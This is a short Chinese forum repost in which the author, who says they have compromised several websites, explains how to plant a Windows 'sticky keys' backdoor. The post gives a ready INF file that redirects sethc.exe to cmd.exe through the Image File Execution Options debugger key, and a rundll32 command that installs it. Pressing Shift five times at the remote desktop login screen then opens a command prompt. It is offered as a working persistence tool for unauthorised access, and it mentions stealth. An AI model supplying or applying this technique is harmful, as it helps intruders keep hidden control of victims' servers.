添加SHIFT后门又一法 学习如何查找后门
前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！ <br /><br />将下面的代码保存成inf文件 <br /><br /> <br />Signature="$WINDOWS NT$" <br /> <br />AddReg=My_AddReg_Name <br /> <br />HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe <br /><br />然后上传到一个可以执行目录，比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行 <br /><br />rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf <br /><br />然后远程登录3389，按5下shift即可跳出cmd.exe <br /><br />为什么要命令行？隐蔽性？大家自行掂量 <br /><br />转载：秒杀博客
頁:
[1]